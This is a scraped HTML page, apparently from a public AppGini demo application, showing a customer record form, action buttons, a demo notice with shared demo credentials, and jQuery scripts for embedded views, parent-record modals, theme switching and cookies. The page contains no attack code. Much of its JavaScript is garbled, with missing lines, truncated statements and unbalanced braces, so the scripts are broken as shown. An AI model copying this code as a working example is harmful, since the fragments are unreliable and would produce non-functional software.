<option value="Korea, Rep. Of" >Korea, Rep. Of</option>
<option value="Kuwait" >Kuwait</option>
<option value="Kyrgyzstan" >Kyrgyzstan</option>
<option value="Lao Peoples D.R." >Lao Peoples D.R.</option>
<option value="Latvia" >Latvia</option>
<option value="Lebanon" >Lebanon</option>
<option value="Lesotho" >Lesotho</option>
<option value="Liberia" >Liberia</option>
<option value="Libyan Arab Jamahiriya" >Libyan Arab Jamahiriya</option>
<option value="Liechtenstein" >Liechtenstein</option>
<option value="Lithuania" >Lithuania</option>
<option value="Luxembourg" >Luxembourg</option>
<option value="Macao" >Macao</option>
<option value="Macedonia, F.Y.R Of" >Macedonia, F.Y.R Of</option>
<option value="Madagascar" >Madagascar</option>
<option value="Malawi" >Malawi</option>
<option value="Malaysia" >Malaysia</option>
<option value="Maldives" >Maldives</option>
<option value="Mali" >Mali</option>
<option value="Malta" >Malta</option>
<option value="Mariana Islands" >Mariana Islands</option>
<option value="Marshall Islands" >Marshall Islands</option>
<option value="Martinique" >Martinique</option>
<option value="Mauritania" >Mauritania</option>
<option value="Mauritius" >Mauritius</option>
<option value="Mayotte" >Mayotte</option>
<option value="Mexico" >Mexico</option>
<option value="Micronesia" >Micronesia</option>
<option value="Moldova" >Moldova</option>
<option value="Monaco" >Monaco</option>
<option value="Mongolia" >Mongolia</option>
<option value="Montserrat" >Montserrat</option>
<option value="Morocco" >Morocco</option>
<option value="Mozambique" >Mozambique</option>
<option value="Myanmar" >Myanmar</option>
<option value="Namibia" >Namibia</option>
<option value="Nauru" >Nauru</option>
<option value="Nepal" >Nepal</option>
<option value="Netherlands Antilles" >Netherlands Antilles</option>
<option value="Netherlands" >Netherlands</option>
<option value="New Caledonia" >New Caledonia</option>
<option value="New Zealand" >New Zealand</option>
<option value="Nicaragua" >Nicaragua</option>
<option value="Niger" >Niger</option>
<option value="Nigeria" >Nigeria</option>
<option value="Niue" >Niue</option>
<option value="Norfolk Island" >Norfolk Island</option>
<option value="Norway" >Norway</option>
<option value="Oman" >Oman</option>
<option value="Pakistan" >Pakistan</option>
<option value="Palau" >Palau</option>
<option value="Palestinian Terr." >Palestinian Terr.</option>
<option value="Panama" >Panama</option>
<option value="Papua New Guinea" >Papua New Guinea</option>
<option value="Paraguay" >Paraguay</option>
<option value="Peru" >Peru</option>
<option value="Philippines" >Philippines</option>
<option value="Pitcairn" >Pitcairn</option>
<option value="Poland" >Poland</option>
<option value="Portugal" >Portugal</option>
<option value="Puerto Rico" >Puerto Rico</option>
<option value="Qatar" >Qatar</option>
<option value="Reunion" >Reunion</option>
<option value="Romania" >Romania</option>
<option value="Russian Federation" >Russian Federation</option>
<option value="Rwanda" >Rwanda</option>
<option value="Samoa" >Samoa</option>
<option value="San Marino" >San Marino</option>
<option value="Sao Tome, Principe" >Sao Tome, Principe</option>
<option value="Saudi Arabia" >Saudi Arabia</option>
<option value="Senegal" >Senegal</option>
<option value="Seychelles" >Seychelles</option>
<option value="Sierra Leone" >Sierra Leone</option>
<option value="Singapore" >Singapore</option>
<option value="Slovakia" >Slovakia</option>
<option value="Slovenia" >Slovenia</option>
<option value="Solomon Is." >Solomon Is.</option>
<option value="Somalia" >Somalia</option>
<option value="South Africa" >South Africa</option>
<option value="South Georgia" >South Georgia</option>
<option value="South Sandwich Is." >South Sandwich Is.</option>
<option value="Spain" >Spain</option>
<option value="Sri Lanka" >Sri Lanka</option>
<option value="St. Helena" >St. Helena</option>
<option value="St. Kitts, Nevis" >St. Kitts, Nevis</option>
<option value="St. Lucia" >St. Lucia</option>
<option value="St. Pierre, Miquelon" >St. Pierre, Miquelon</option>
<option value="St. Vincent, Grenadines" >St. Vincent, Grenadines</option>
<option value="Sudan" >Sudan</option>
<option value="Suriname" >Suriname</option>
<option value="Svalbard, Jan Mayen" >Svalbard, Jan Mayen</option>
<option value="Swaziland" >Swaziland</option>
<option value="Sweden" >Sweden</option>
<option value="Switzerland" >Switzerland</option>
<option value="Syrian Arab Republic" >Syrian Arab Republic</option>
<option value="Taiwan" >Taiwan</option>
<option value="Tajikistan" >Tajikistan</option>
<option value="Tanzania" >Tanzania</option>
<option value="Thailand" >Thailand</option>
<option value="Timor-leste" >Timor-leste</option>
<option value="Togo" >Togo</option>
<option value="Tokelau" >Tokelau</option>
<option value="Tonga" >Tonga</option>
<option value="Trinidad, Tobago" >Trinidad, Tobago</option>
<option value="Tunisia" >Tunisia</option>
<option value="Turkey" >Turkey</option>
<option value="Turkmenistan" >Turkmenistan</option>
<option value="Turks, Caicoss" >Turks, Caicoss</option>
<option value="Tuvalu" >Tuvalu</option>
<option value="Uganda" >Uganda</option>
<option value="Ukraine" >Ukraine</option>
<option value="United Arab Emirates" >United Arab Emirates</option>
<option value="United Kingdom" >United Kingdom</option>
<option value="United States" >United States</option>
<option value="Uruguay" >Uruguay</option>
<option value="Uzbekistan" >Uzbekistan</option>
<option value="Vanuatu" >Vanuatu</option>
<option value="Vatican City" >Vatican City</option>
<option value="Venezuela" >Venezuela</option>
<option value="Viet Nam" >Viet Nam</option>
<option value="Virgin Is. British" >Virgin Is. British</option>
<option value="Virgin Is. U.S." >Virgin Is. U.S.</option>
<option value="Wallis, Futuna" >Wallis, Futuna</option>
<option value="Western Sahara" >Western Sahara</option>
<option value="Yemen" >Yemen</option>
<option value="Yugoslavia" >Yugoslavia</option>
<option value="Zambia" >Zambia</option>
<option value="Zimbabwe" >Zimbabwe</option></select><script>jQuery(function() {
minimumResultsForSearch: 5,
sortResults: AppGini.sortSelect2ByRelevence

<!-- Field: Phone -->
<div class="form-group customers-Phone">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="Phone">Phone</label>
<div class="col-lg-9">
<input maxlength="24" type="text" class="form-control" name="Phone" id="Phone" value="">

<!-- Field: Fax -->
<div class="form-group customers-Fax">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3" for="Fax">Fax</label>
<div class="col-lg-9">
<input maxlength="24" type="text" class="form-control" name="Fax" id="Fax" value="">

<!-- Field: Total Sales -->
<div class="form-group customers-TotalSales">
<hr class="hidden-md hidden-lg">
<label class="control-label col-lg-3">Total Sales</label>
<div class="col-lg-9">
<div class="form-control-static" id="TotalSales">0.00</div>


<!-- DV action buttons -->
<hr class="hidden-md hidden-lg">
<div class="col-md-4 col-lg-2" id="customers_dv_action_buttons">
<div class="btn-toolbar">
<div class="btn-group-vertical btn-group-lg" style="width: 100%;">
<button type="submit" class="btn btn-success btn-lg" id="update" name="update_x" value="1" onclick="return customers_validateData();" title="Save Changes"><i class="glyphicon glyphicon-ok"></i> Save Changes</button>
<div class="btn-group-vertical btn-group-lg" style="width: 100%;">
<button type="submit" class="btn btn-default" id="deselect" name="deselect_x" value="1" onclick="$j('form').eq(0).attr('novalidate', 'novalidate'); document.myform.reset(); return true;" title="Back"><i class="glyphicon glyphicon-chevron-left"></i> Back</button>
<button type="submit" class="btn btn-default" id="dvprint" name="dvprint_x" value="1" onclick="$j('form').eq(0).prop('novalidate', true); document.myform.reset(); return true;" title="Print Preview"><i class="glyphicon glyphicon-print"></i> Print Preview</button>
<button type="submit" class="btn btn-danger" id="delete" name="delete_x" value="1" title="Delete"><i class="glyphicon glyphicon-trash"></i> Delete</button>
<div class="btn-group-vertical btn-group-lg" style="width: 100%;">


<!-- child records -->
<div class="row">
<div class="col-lg-10 col-lg-offset-1">
<div id="customers-children" class="children-tabs">
<div class="text-center"><i class="glyphicon glyphicon-refresh loop-rotate"></i> Loading ...</div>

</div><!-- /div class="panel-body" -->
$j(function() {
var add_new_mode = (!$j('input[name=SelectedID]').val());
var embedded_mode = ($j('input[name=Embedded]').val() == 1);

/* auto-close embedded page? */
var autoclose_mode = ($j('input[name=AutoClose]').val() == 1);
var record_added_ok = ('record-added-ok=').length == 2);
var record_updated_ok = ('record-updated-ok=').length == 2);
if((record_added_ok || record_updated_ok) && embedded_mode && autoclose_mode) {
setTimeout(AppGini.closeParentModal, 2000);

if(!$j('.table_view').length || $j('[name=SelectedID]').val().length) AppGini.focusFormElement('customers', 'CompanyName');

$j('form').eq(0).change(function() {
if($j(this).data('already_changed')) return;
if($j('#deselect').length) $j('#deselect').removeClass('btn-default').addClass('btn-warning').get(0) = " Cancel";
$j(this).data('already_changed', true);

$j('a[href="images/"]').click(function() { return false; });

if(embedded_mode) {
/* hide links to children tables in embedded mode */
$j('.detail_view a[id$=_link]').remove();

/* append embedded mode to all links */
var append_embedded = function() {
function() {
$j(this).attr('href', $j(this).attr('href') + '&Embedded=1');
setTimeout(append_embedded, 500);
setTimeout(append_embedded, 1500);
setTimeout(append_embedded, 2500);
setTimeout(append_embedded, 3500);

/* when no record is selected ('add new' mode) */
if(add_new_mode) {
/* hide links to children tables */
$j('.detail_view a[id$=_link]').remove();
} else {
'parent-children.php', {
ParentTable: 'customers',
SelectedID: '3',
Operation: 'show-children'

if(true /* !embedded_mode */) {
$j('.add_new_parent').click(function() {
var pt = $j(this).attr('id').replace(/_add_new$/, '');
url: pt + '_view.php?addNew_x=1&Embedded=1',
close: function() {
var field_id = $j('#' + pt + '_add_new').prevAll('input:hidden').eq(0).attr('id');
$j('#' + field_id + '-container').select2('focus').select2('focus');

/* if a new parent was added, select it */
var new_id = localStorage.getItem(pt + '_last_added_id');
if(new_id === null) return;

localStorage.removeItem(pt + '_last_added_id');
id: new_id,
table: 'customers',
field: field_id,
callback: function(data) {
$j('#' + field_id + '-container').select2('data', data, true);
size: 'full',
title: $j(this).attr('title')


$j('form').on('click', '.view_parent', function() {
var pt = $j(this).attr('id').replace(/_view_parent$/, '');
if($j(this).prevAll('input:hidden').length) {
var parent_id = $j(this).prevAll('input:hidden').eq(0).val();
} else {
var parent_id = $j(this).prevAll().children('input:hidden').eq(0).val();

/* handle radio lookups */
if($j(this).prevAll('[type=radio]').length) {
parent_id = $j(this).prevAll('[type=radio]').eq(0).val();

if(parent_id != '{empty_value}' && parent_id != undefined && parent_id != '') {
var parent_link = $j(this).parents('.form-group').children('label').data('parent_link');
switch(parent_link) {
case 'view_parent_hidden':
case 'view_parent_modal':
url: pt + '_view.php?Embedded=1&SelectedID=' + encodeURIComponent(parent_id),
close: function() {
var field_id = $j('#' + pt + '_view_parent').prevAll('input:hidden').eq(0).attr('id');
$j('#' + field_id + '-container').select2('focus').select2('focus');

// in case the parent record was updated, we should update auto-fills
var updaterName = field_id + '_update_autofills';
if(typeof(window[updaterName]) == 'function')
size: 'full',
title: $j(this).attr('title')
case 'view_parent_same_window':
window.location = pt + '_view.php?Embedded=' + (embedded_mode ? '1' : '') + '&SelectedID=' + encodeURIComponent(parent_id);
case 'view_parent_new_window': + '_view.php?SelectedID=' + encodeURIComponent(parent_id));


enforce_uniqueness('customers', 'CustomerID');

/* load admin tools for admin user */
if(!add_new_mode) {
$j('body').append('<div id="admin-tools-appendix"></div>');
function(resp) {
if(!resp.length) return;

/* warn user if 'add new' clicked while unsaved changes exist */
$j('#addNew').click(function() {
if($j('#deselect.btn-warning').length) {
return confirm('Discard changes to this record?');


<script>$j(function() {
jQuery('form').eq(0).data('already_changed', true); jQuery('form').eq(0).data('already_changed', false);
<script>$j(function() {});</script><script>
$j(function() {
var tn = 'customers';

/* data for selected record, or defaults if none is selected */
var data = {

/* initialize or continue using AppGini.cache for the current table */
AppGini.cache = AppGini.cache || {};
AppGini.cache[tn] = AppGini.cache[tn] || AppGini.ajaxCache();
var cache = AppGini.cache[tn];


<div class="hidden">
class="btn-group-vertical btn-group-lg" id="dv-navigation-buttons"
style="width: 100%; margin: 0; margin-top: 10px;">
class="btn btn-default previous-record"
type="submit" style="width: 100%;"
name="previousRecordDV" value="1"
><i class="glyphicon glyphicon-step-backward"></i>
Previous </button>
$j(function() {
var navBtns = $j('#dv-navigation-buttons');

// switch to horizontal btn-group if buttons too wide
$j(window).resize(function() {
if(navBtns.width() > 300) {
.css({ width: (100 / navBtns.find('.btn').length) + '%' });

.find('.btn').css({ width: '100%' });

navBtns.on('click', '.btn', function(e) {
// detect changes and confirm they'd be lost
"Discard changes to this record?" )) {
return false;

// reset form and prevent validation
var form = $j(this).parents('form');
form.prop('novalidate', true).get(0).reset();
return true;
.appendTo('#customers_dv_action_buttons > .btn-toolbar:first-child');
</div></div><input name="SearchString" value="" type="hidden"></form></div><div class="col-xs-1 md-hidden lg-hidden"></div></div> <!-- Add footer template above here -->
<div class="clearfix"></div>
<div style="height: 70px;" class="hidden-print"></div>

<!-- AppGini powered by notice -->
<div style="height: 60px;" class="hidden-print"></div>
<nav class="navbar navbar-default navbar-fixed-bottom" role="navigation">
<p class="navbar-text"><small>
Powered by <a class="navbar-link" href="" target="_blank">BigProf AppGini 24.13</a>

</div> <!-- /div class="container" -->
<div id="more-info-demo" class="hidden">
<div id="more-info-demo-icon" class="pull-left text-success"><i class="glyphicon glyphicon-info-sign"></i></div>
<p>This is a demo application created using <a href="">AppGini</a>.
You can browse it anonymously (read-only access), or <a href="index.php?signIn=1">sign in</a>
with username <code>demo</code> and password <code>demo</code> to be able to add records
(you can edit only the records added by <i>demo</i> but not other records.)</p>

<p>You can as well <a href="membership_signup.php">sign up</a> as a new user. You'll then be able to add records and edit/delete them. You can only view all other records but not edit/delete them.</p>

<p>User groups and permissions are a built-in feature in all apps created by AppGini.
You can <a href="">see in this screencast how to configure group permissions</a>.</p>

<div id="demo-tools" class="hidden text-center">
<div class="btn-group" style="width: 98%; max-width: 900px;">
<button type="button" onclick="location.assign('');" class="btn btn-default" style="width: 33%">
<span class="hidden-xs hidden-sm"><i class="glyphicon glyphicon-heart"></i> Powered by</span>
AppGini <span class="appgini-version"></span>

<button type="button" class="btn btn-default" id="prev-theme" title="Previous theme" style="width: 5%"><i class="glyphicon glyphicon-triangle-left"></i></button>
<button type="button" class="btn btn-default active" id="demo-options" style="width: 24%">
<span class="hidden-xs hidden-sm">Active theme</span>
<span class="badge" id="demo-theme-name">Bootstrap</span>
<button type="button" class="btn btn-default" id="next-theme" title="Next theme" style="width: 5%"><i class="glyphicon glyphicon-triangle-right"></i></button>

<button type="button" class="btn btn-default" id="compact-toggle" title="Compact/Large" style="width: 5%"><i class="glyphicon glyphicon-resize-full"></i></button>

<button type="button" class="btn btn-default" id="show-more-info" style="width: 18%">
<i class="glyphicon glyphicon-info-sign"></i>
<span class="hidden-xs hidden-sm"> More info</span>

<button type="button" class="btn btn-default" id="hide-demo-tools" title="Hide me!">
<i class="glyphicon glyphicon-remove"></i>

<div id="restore-demo-tools" class="hidden text-left">
<button type="button" class="btn btn-default" title="Change theme"><i class="glyphicon glyphicon-cog"></i></button>

#more-info-demo-icon {
font-size: 4em;
margin-right: 10px;
-webkit-transform: rotate(-16deg);
-ms-transform: rotate(-16deg);
transform: rotate(-16deg);
#demo-tools, #restore-demo-tools {
position: fixed;
bottom: 0;
left: 0;
right: 0;
z-index: 1030;
padding: 5px;
#restore-demo-tools {
width: 100px;
#restore-demo-tools button {
box-shadow: 0px 0px 10px 1px #000;
#demo-tools .btn{
white-space: normal;
@media (max-width: 991px){
#demo-tools .btn { max-width: 32%; }

var notEmbedded = true;

/* Get AppGini version */
var appginiVersion = $j('.navbar-fixed-bottom small a').text().replace(/[a-z ]*/i, '');

/* Remove the bottom nav */

/* Apply navbar color, bgcolor and border styles to #demo-tools */
'border': $j('.navbar').css('border'),
'background-color': $j('.navbar').css('background-color')

/* Same height for all #demo-tools buttons */
setTimeout(demoToolsSameHeight, 2500);

message: $j('#more-info-demo').html(),
title: 'About this demo',
footer: [{
label: 'Close',
bs_class: 'default'

$j('#next-theme, #prev-theme').on('click', function() {
var next = ($j(this).attr('id') == 'next-theme'),
themeIndex = themes.indexOf(cookie('theme'));

if(themeIndex == -1) themeIndex = 0;

if(next) {
if(themeIndex >= themes.length) themeIndex = 0;
} else {
if(themeIndex < 0) themeIndex = themes.length - 1;

cookie('theme', themes[themeIndex]);

$j('#compact-toggle').click(function() {

$j('#hide-demo-tools').click(function() {

$j('#restore-demo-tools').on('click', 'button', function() {

/* list of available themes */
var themes = [

if(typeof(notEmbedded) == 'undefined') var notEmbedded = false;

function applyDemoToolsVisibility(viz) {
if(notEmbedded === undefined) return;
if(viz === undefined) viz = cookie('displayDemoTools');
if(viz === 'null') viz = 'on';

$j('#restore-demo-tools').toggleClass('hidden', viz == 'on');
$j('#demo-tools').toggleClass('hidden', viz != 'on');
if(viz === 'on') demoToolsSameHeight();

cookie('displayDemoTools', viz);

function applyTheme(new_theme){
/* get configured theme */
var theme = new_theme;
var pre_path = "";
theme = theme || cookie('theme');
theme = theme || 'bootstrap.css'; // default theme if no cookie and no theme passed

if(!theme.match(/.*?.css$/)) return;

/* remove current theme */
$j('body > div.users-area')
.removeClass( => 'theme-' + theme.replace(/.css$/, '')).join(' '))
.addClass(`theme-${theme.replace(/.css$/, '')}`);

/* apply configured theme */
$j('head').append('<link rel="stylesheet" href="' + pre_path + 'resources/initializr/css/' + theme + '">');
$j('head').append('<link rel="stylesheet" href="' + pre_path + 'dynamic.css">');

/* update displayed theme name */
$j('#demo-theme-name').html(ucfirst(theme.replace(/.css$/, '')));

/* Apply navbar color, bgcolor and border styles to #demo-tools */
'border': $j('.navbar').css('border'),
'background-color': $j('.navbar').css('background-color')

function compact(turnOn) {
// on by default
if(turnOn === undefined)
turnOn = (cookie('compactMode') != 'false');

if(notEmbedded !== undefined)
$j('#compact-toggle > .glyphicon')
.toggleClass('glyphicon-resize-small', !turnOn)
.toggleClass('glyphicon-resize-full', turnOn);

$j('body > div.users-area').toggleClass('theme-compact', turnOn);
cookie('compactMode', turnOn);

function cookie(name, val){
if(val !== undefined) createCookie(name, val, 0.1);
return String(readCookie(name));

function ucfirst(str) {
str += '';
var f = str.charAt(0).toUpperCase();
return f + str.substr(1);

function createCookie(name, value, days) {
var expires;

if (days) {
var date = new Date();
date.setTime(date.getTime() + (days * 24 * 60 * 60 * 1000));
expires = "; expires=" + date.toGMTString();
} else {
expires = "";
document.cookie = encodeURIComponent(name) + "=" + encodeURIComponent(value) + expires + "; path=/";

function readCookie(name) {
var nameEQ = encodeURIComponent(name) + "=";
var ca = document.cookie.split(';');
for (var i = 0; i < ca.length; i++) {
var c = ca[i];
while (c.charAt(0) === ' ') c = c.substring(1, c.length);
if (c.indexOf(nameEQ) === 0) return decodeURIComponent(c.substring(nameEQ.length, c.length));
return null;

function eraseCookie(name) {
createCookie(name, "", -1);

function demoToolsSameHeight() {
if(notEmbedded === undefined) return;
var max_height = 30;
$j('#demo-tools .btn').each(function(){
var bh = $j(this).height();
if(bh > max_height) max_height = bh;
$j('#demo-tools .btn').height(max_height);

function showDemoInfoOnce() {
if(notEmbedded === undefined) return;
if(cookie('demoInfoShownBefore') === 'yes') return;

cookie('demoInfoShownBefore', 'yes');

function showInfoInLoginPage() {
'<div style="max-width: 600px; margin: 0 auto;"><h1>About this demo</h1>' +
$j('#more-info-demo').html() +

function getThemeFromUrl() {
if(!/btheme=w+/.test( return;
let theme =[1] + '.css';
if(themes.indexOf(theme) < 0) return;

cookie('theme', theme);

// startup
$j(function() {
<script src="resources/lightbox/js/lightbox.min.js"></script>